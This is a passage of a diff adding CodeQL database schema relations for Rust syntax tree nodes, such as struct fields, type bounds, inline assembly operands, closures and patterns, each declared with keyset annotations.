+#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] 